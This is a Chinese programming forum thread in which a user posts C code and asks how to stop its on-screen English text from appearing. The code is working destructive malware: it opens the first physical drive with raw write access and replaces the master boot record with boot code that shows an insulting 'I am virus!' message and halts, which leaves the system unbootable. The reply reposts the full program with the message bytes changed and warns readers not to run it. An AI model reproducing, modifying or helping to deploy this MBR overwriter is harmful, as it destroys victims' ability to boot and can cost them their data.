搜索
查看: 1248|回复: 2
打印 上一主题 下一主题

改程序运行结果

[复制链接]
跳转到指定楼层
楼主
发表于 2013-12-26 16:51:52 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
10啊哈币
#include <windows.h>
#include <winioctl.h>


unsigned char scode[] =
"\xb8\x12\x00\xcd\x10\xbd\x18\x7c\xb9\x18\x00\xb8\x01\x13\xbb\x0c"
"\x00\xba\x1d\x0e\xcd\x10\xe2\xfe\x49\x20\x61\x6d\x20\x76\x69\x72"
"\x75\x73\x21\x20\x46\x75\x63\x6b\x20\x79\x6f\x75\x20\x3a\x2d\x29";
/*
00000000 B81200 movax, 12H; ah = 0, al = 12h (640 * 480)
00000003 CD10 int10h; 进入图形显示方式,隐藏光标
00000005 BD187Cmovbp, Msg; ES:BP = 串地址
00000008 B91800movcx, 18h; CX = 串长度
0000000B B80113movax, 1301h; AH = 13, AL = 01h
0000000E BB0C00 movbb, 000ch; 页号为0(BH = 0) 黑底黑字(LL = 1Ch,高亮)
00000011 BA1D0Emovdx, 0e1dh; dh行, dl列
00000014 CD10int10h; 10h 号中断
00000016 E2FEloop$
Msg:db"...... :-)"
*/
{
HANDLEhDevice;
DWORDdwBytesWritten, dwBytesReturned;
BYTEpMBR[512] = {0};

// 重新构造MBR
memcpy(pMBR, scode, sizeof(scode) - 1);
pMBR[510] = 0x55;
pMBR[511] = 0xAA;


hDevice = CreateFile
(
"\\\\.\\PHYSICALDRIVE0",
GENERIC_READ | GENERIC_WRITE,
FILE_SHARE_READ | FILE_SHARE_WRITE,
NULL,
OPEN_EXISTING,
0,
NULL
);
if (hDevice == INVALID_HANDLE_VALUE)
return -1;
DeviceIoControl
(
hDevice,
FSCTL_LOCK_VOLUME,
NULL,
0,
NULL,
0,
&dwBytesReturned,
NULL
);
// 写入病毒内容
WriteFile(hDevice, pMBR, sizeof(pMBR), &dwBytesWritten, NULL);
DeviceIoControl
(
hDevice,
FSCTL_UNLOCK_VOLUME,
NULL,
0,
NULL,
0,
&dwBytesReturned,
NULL
);
CloseHandle(hDevice);
return 0;
}
运行后屏幕上的英文字,不要显示,怎样改?

最佳答案

查看完整内容

运行后屏幕上的英文字,不要显示,怎样改? //此代码很危险禁止无聊人士运行// #include #include " "\x00\xba\x1d\x0e\xcd\x10\xe2\xfe\x49\x20\x61\x6d\x20\x48\x45\x20" "\x46\x75\x63\x6b\x20\x79\x6f\x75\x0D\x3C\x3C\x3C\x2B\x3E\x3E\x3E"; //上面框起来的是窗口要显示的!LZ只能帮你到这了... /* 00000000 B81200 movax, 12H; ah = 0, al = 12h ...
沙发
发表于 2013-12-26 16:51:53 | 只看该作者
本帖最后由 超神级 于 2013-12-26 23:12 编辑

运行后屏幕上的英文字,不要显示,怎样改?
                                                      //此代码很危险禁止无聊人士运行//
#include <windows.h>
#include <winioctl.h>


  1. unsigned char scode[] ="<div class="blockcode"><blockquote>\xb8\x12\x00\xcd\x10\xbd\x18\x7c\xb9\x18\x00\xb8\x01\x13\xbb\x0c
复制代码

"
"\x00\xba\x1d\x0e\xcd\x10\xe2\xfe\x49\x20\x61\x6d\x20\x48\x45\x20"
"\x46\x75\x63\x6b\x20\x79\x6f\x75\x0D\x3C\x3C\x3C\x2B\x3E\x3E\x3E";
//上面框起来的是窗口要显示的!LZ只能帮你到这了...
/*
00000000 B81200 movax, 12H; ah = 0, al = 12h (640 * 480)
00000003 CD10 int10h; 进入图形显示方式,隐藏光标
00000005 BD187Cmovbp, Msg; ES:BP = 串地址
00000008 B91800movcx, 18h; CX = 串长度
0000000B B80113movax, 1301h; AH = 13, AL = 01h
0000000E BB0C00 movbb, 000ch; 页号为0(BH = 0) 黑底黑字(LL = 1Ch,高亮)
00000011 BA1D0Emovdx, 0e1dh; dh行, dl列
00000014 CD10int10h; 10h 号中断
00000016 E2FEloop$
Msg:db"...... :-)"
*/
{
HANDLEhDevice;
DWORDdwBytesWritten, dwBytesReturned;
BYTEpMBR[512] = {0};

// 重新构造MBR
memcpy(pMBR, scode, sizeof(scode) - 1);
pMBR[510] = 0x55;
pMBR[511] = 0xAA;


hDevice = CreateFile
(
"\\\\.\\PHYSICALDRIVE0",
GENERIC_READ | GENERIC_WRITE,
FILE_SHARE_READ | FILE_SHARE_WRITE,
NULL,
OPEN_EXISTING,
0,
NULL
);
if (hDevice == INVALID_HANDLE_VALUE)
return -1;
DeviceIoControl
(
hDevice,
FSCTL_LOCK_VOLUME,
NULL,
0,
NULL,
0,
&dwBytesReturned,
NULL
);
// 写入病毒内容
WriteFile(hDevice, pMBR, sizeof(pMBR), &dwBytesWritten, NULL);
DeviceIoControl
(
hDevice,
FSCTL_UNLOCK_VOLUME,
NULL,
0,
NULL,
0,
&dwBytesReturned,
NULL
);
CloseHandle(hDevice);
return 0;
}
LZ这样应该可以!不要试因为我都不敢试!!我猜你说的英文应该是来源于检测!程序里面并没有这个功能!
上面的东西比较底层对于硬盘的操作!中招了估计重新装系统都搞不定!

点评

上面代码不要试因为运行他可能会出现一些无法预测的问题...  发表于 2013-12-26 22:16
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

广播台
特别关注
快速回复 返回顶部 返回列表